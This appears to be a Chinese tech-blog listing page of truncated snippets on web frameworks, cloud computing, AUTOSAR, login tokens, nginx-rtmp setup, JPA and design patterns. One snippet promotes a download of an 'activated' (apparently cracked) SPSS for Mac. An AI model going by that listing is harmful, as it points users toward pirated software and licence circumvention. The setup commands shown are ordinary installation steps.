【JSON2WEB】01 WEB管理信息系统架构设计 【JSON2WEB】02 JSON2WEB初步UI设计 【JSON2WEB】03 go的模板包html/template的使用 【JSON2WEB】04 amis低代码前端框架介绍 【JSON2WEB】05 前端开发三件套 HTML CSS JavaScript 速成 【JSON2WEB】06 JSON2WEB前端框架搭建 【J…

《云计算:数字时代的引擎》

在数字化时代&#xff0c;云计算技术以其强大的计算能力和灵活的应用方式&#xff0c;成为推动各行各业发展的引擎。本文将围绕云计算的技术进展、技术原理、行业应用案例、面临的挑战与机遇以及未来趋势进行详细探讨。 云计算的技术进展 云计算的技术进展涵盖了多个方面&…

AUTOSAR XML(通常称为ARXML)

AUTOSAR XML(通常称为ARXML) ARXML是一种基于XML(可扩展标记语言)的文件格式,用于在AUTOSAR(汽车开放系统架构)标准中描述汽车软件系统的各种元素。 ARXML文件包含软件组件、接口、数据类型和配置参数等信息,这些信息可以用于描述系统的功能和结构。ARXML文件的特点是…

Session、Cookie 和 Token的保存

在用户登录过程中&#xff0c;Session、Cookie 和 Token 都是用来管理用户状态和身份验证的重要机制&#xff0c;它们在保存和交互方面有所不同。 1. Session 的保存&#xff1a; 保存位置&#xff1a; Session 数据通常保存在服务器端的内存中或者持久化存储&#xff08;如数…

ADO.NET封装个单例异步类类

.NET兼职社区 防止重复造轮子。可以直接使用 using System; using System.Collections.Generic; using System.Data.SqlClient; using System.Data; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Configuration;namespace Wpf.Personne…

python(django)之产品后台管理功能实现

1、添加新项目 在命令行输入以下代码 python manage.py startapp prroduct 2、添加路径和代码结构 在新项目目录下admin.py中加入以代码 from .models import Product class ProductAdmin(admin.ModelAdmin):list_display [product_name, product_desc,producter,created_…

基于Springboot的闲置图书分享(有报告)。Javaee项目,springboot项目。

演示视频&#xff1a; 基于Springboot的闲置图书分享&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结构&…

Linux服务器导出CPU和内存使用情况

Linux服务器默认存储一个月的CPU和内存记录&#xff0c;所在目录&#xff1a;/var/log/sa/&#xff0c;如下图所示 在此用sar命令来执行 sar是一个比较全面的性能监控工具&#xff0c;包括cpu、内存、磁盘和网络等信息&#xff0c;并且该命令会每10分钟自动保存一次硬件资源使用…

odoo扩展导出pdf功能

1. 说明: odoo原生导出功能扩展导出pdf文件功能, 如有额外需求请联系博主 2. 版本说明: odoo版本: odoo15 其他odoo版本未进行测试,如有需要自行测试 3. 地址: 该补丁代码放在github仓库, 地址: https://github.com/YSL-Alpaca/odoo_export_pdf 4. 改补丁依赖于第三方软件wkh…

ubuntu20.04搭建nginx rtmp视频服务到指定位置解决权限不足

1.安装依赖 apt-get install build-essential libpcre3 libpcre3-dev libssl-dev2.建一个目录 mldir rtmp_nginx 3.源码下载 wget http://nginx.org/download/nginx-1.21.6.tar.gz wget https://github.com/arut/nginx-rtmp-module/archive/master.zip4.解压缩 tar -xf ng…

JPA使用CriteriaQuery实现动态分组查询

JPA中实现动态分组查询&#xff0c;即输入几个筛选参数就按照几个参数进行分组查询&#xff0c;但是不知道输入的是几个参数&#xff0c;要实现动态的分组查询&#xff0c;用CriteriaQuery实现。 Repository&#xff1a; Repository public interface TestCostRepository ext…

IBM SPSS Statistics for Mac v27.0.1中文激活版

IBM SPSS Statistics for Mac是一款功能强大的统计分析软件&#xff0c;专为Mac用户设计&#xff0c;用于数据分析和决策支持。该软件拥有直观易用的界面和丰富多样的统计工具&#xff0c;使得用户可以轻松进行数据处理、分析和解释。 软件下载&#xff1a;IBM SPSS Statistics…

《适配器模式(极简c++)》

本文章属于专栏《设计模式&#xff08;极简c版&#xff09;》 继续上一篇《原型模式&#xff08;极简c&#xff09;》。本章简要说明适配器模式。本文分为模式说明、本质思想、实践建议、代码示例四个部分。 模式说明 方案&#xff1a; 适配器模式&#xff0c;允许接口不兼容…